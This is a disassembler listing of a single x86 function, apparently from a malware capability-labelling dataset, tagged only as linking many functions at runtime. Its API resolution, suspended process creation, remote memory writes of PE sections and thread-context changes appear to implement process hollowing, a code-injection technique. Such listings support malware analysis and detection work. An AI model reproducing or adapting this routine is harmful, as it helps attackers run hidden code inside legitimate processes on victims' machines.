Function at 0x100042a4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.10003a70
mov eax, dword [ebp - 0xc]
call fcn.10003a70
xor eax, eax
push ebp
push 0x100045b5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x100045c8
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
push 0x100045d4
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0xd], 0
nop
nop
nop
xor eax, eax
push ebp
push 0x10004588
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x54]
xor ecx, ecx
mov edx, 0x10
call fcn.10002bd8
nop
nop
nop
lea eax, [ebp - 0x98]
xor ecx, ecx
mov edx, 0x44
call fcn.10002bd8
nop
nop
nop
mov dword [ebp - 0x98], 0x44
nop
nop
nop
push 0x100045e4
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov edi, eax
push 0x100045f8
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x38], eax
push 0x10004608
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov esi, eax
nop
nop
nop
push 0x1000461c
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x34], eax
push 0x10004630
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
push 0x10004648
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x3c], eax
push 0x1000465c
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x40], eax
push 0x1000466c
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x98]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push dword [ebp - 8]
push 0x10004684
push dword [ebp - 0xc]
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.10003940
mov eax, dword [ebp - 0x168]
call fcn.10003a80
push eax
push 0
call dword [ebp - 0x38]
mov dword [ebp - 0x164], 0x10007
lea eax, [ebp - 0x164]
push eax
mov eax, dword [ebp - 0x50]
push eax
call esi
test eax, eax
je 0x1000457a
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc0]
add eax, 8
push eax
mov eax, dword [ebp - 0x54]
push eax
call edi
test eax, eax
je 0x1000457a
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x54]
push eax
call ebx
test eax, eax
jl 0x1000457a
cmp dword [ebp - 4], 0
je 0x1000457a
nop
nop
nop
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
nop
nop
nop
push 4
push 0x3000
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x54]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x54]
push eax
call dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
call 0x10004288
mov esi, eax
mov eax, dword [ebp - 0x24]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jb 0x10004529
inc eax
mov dword [ebp - 0x44], eax
xor ebx, ebx
lea eax, [ebp - 0x1c]
push eax
lea edi, [ebx + ebx*4]
mov eax, dword [esi + edi*8 + 0x10]
push eax
mov eax, dword [esi + edi*8 + 0x14]
add eax, dword [ebp - 4]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x54]
push eax
call dword [ebp - 0x3c]
push 0x10004688
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x20]
push eax
mov eax, dword [esi + edi*8 + 0x24]
call fcn.10004298
push eax
mov eax, dword [esi + edi*8 + 8]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x54]
push eax
call dword [ebp - 0x28]
inc ebx
dec dword [ebp - 0x44]
jne 0x100044cd
nop
nop
nop
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc0]
add eax, 8
push eax
mov eax, dword [ebp - 0x54]
push eax
call dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0x164]
push eax
mov eax, dword [ebp - 0x50]
push eax
call dword [ebp - 0x34]
cmp eax, 1
sbb ebx, ebx
inc ebx
nop
nop
nop
mov eax, dword [ebp - 0x50]
push eax
call dword [ebp - 0x40]
nop
nop
nop
mov byte [ebp - 0xd], bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1000458f
ret